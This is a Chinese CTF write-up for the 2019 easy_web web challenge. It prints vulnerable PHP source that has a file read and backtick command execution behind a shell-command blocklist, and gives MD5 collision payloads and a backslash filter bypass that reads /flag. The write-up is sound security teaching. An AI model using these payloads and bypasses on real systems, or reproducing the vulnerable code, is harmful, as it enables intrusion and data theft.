当前位置:网站首页>[安洵杯 2019]easy_web
[安洵杯 2019]easy_web
2022-07-16 05:41:00 【Bnessy】

url中的img=TXpVek5UTTFNbVUzTURabE5qYz0有點像base64,解密看下
解密後還是base64,再解
有點像hex,轉為字符看看
應該是圖片的名字,嘗試使用這種方法推回去,讀取下index.phpTmprMlJUWTBOalUzT0RKRk56QTJPRGN3
讀取到了,解碼看下
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
輸入三重編碼後的img傳給$file後自動解碼,正則匹配flag字樣,有就die掉了,否則就讀取文件的信息,又編碼echo出來,這就是剛才輸出的那段index.php base64值的邏輯了,繼續往下看,正則匹配一大串(像我這種小白,過濾這麼多命令後真的不知道再從何下手),繞過後有一次md5强比較,因為是反引號,所以把$cmd當作命令執行了。
有一個MD5强繞過
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
再來繞過正則
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
ls不能用,但是可以用dir,在跟目錄下發現flag文件
cat也被攔截了,這裏使用ca\t%20/flag繞過,因為在linux下行尾輸\可以換行並且繼續輸入命令,所以ca和t並不會斷開
边栏推荐
- BUUCTF 面具下的flag
- Advanced architects, 16 common principles of microservice design and Governance
- SNMP起步啦
- [Huang ah code] wechat applet +php realizes instant messaging chat function
- 【黄啊码】PHP配合xlswriter实现无限表头层级Excel导出
- ES6--数组
- C语言:结构体中链表的添加与删除
- [Huang ah code] Microsoft Internet Explorer will be retired. Netizens said: what should I do in the future?
- memo、useMemo、useCallback总结
- 41.js--闭包
猜你喜欢
![[Huang ah code] Microsoft Internet Explorer will be retired. Netizens said: what should I do in the future?](/img/38/42fffa40b5db9399ee8c526e0c4439.png)
[Huang ah code] Microsoft Internet Explorer will be retired. Netizens said: what should I do in the future?

简单理解TCP的三次握手和四次挥手

BUUCTF 神秘龙卷风

(cvpr-2022) Lagrangian motion analysis and perspective embedding for improved gait recognition

memo、useMemo、useCallback总结

ES6--模块化

ES6--对象

移动web开发
![[Huang ah code] Why do I suggest you choose go instead of PHP?](/img/c7/3abe59ba4fb275cdf550467bc2b05d.png)
[Huang ah code] Why do I suggest you choose go instead of PHP?
![[Huang ah code] getting started with MySQL - 1. SQL execution process](/img/e5/8541f9a9e260b431a4da800036ae2d.png)
[Huang ah code] getting started with MySQL - 1. SQL execution process
随机推荐
自上而下获取父节点的id的集合
网络安全应急响应-终端检测与响应技术
Svelte official introductory tutorial (5) - Events
Svelte 官方入门教程(3)—— Props
ERR_PNPM_PEER_DEP_ISSUES Unmet peer dependencies
ES6--symbol( )与Map( )
JS函数自调用
【vue】keep-alive清除缓存最简单暴力的方法
41.js--闭包
37.js--对象的成员操作和原型对象的操作(主要是相关程序举例)
笔记---常更
Taobao project exercise summary
【prettier】通过prettier自动格式化代码不生效
BUUCTF webshell后门
[BJDCTF2020]Cookie is so stable
Svelte 官方入门教程(4)—— 模板逻辑
Idea automatically generates entity classes of corresponding tables in the database
【黄啊码】MySQL入门—1、SQL 的执行流程
Steps for JS parsing engine to execute JS code
electron、electron-builder 镜像源配置(2022-06)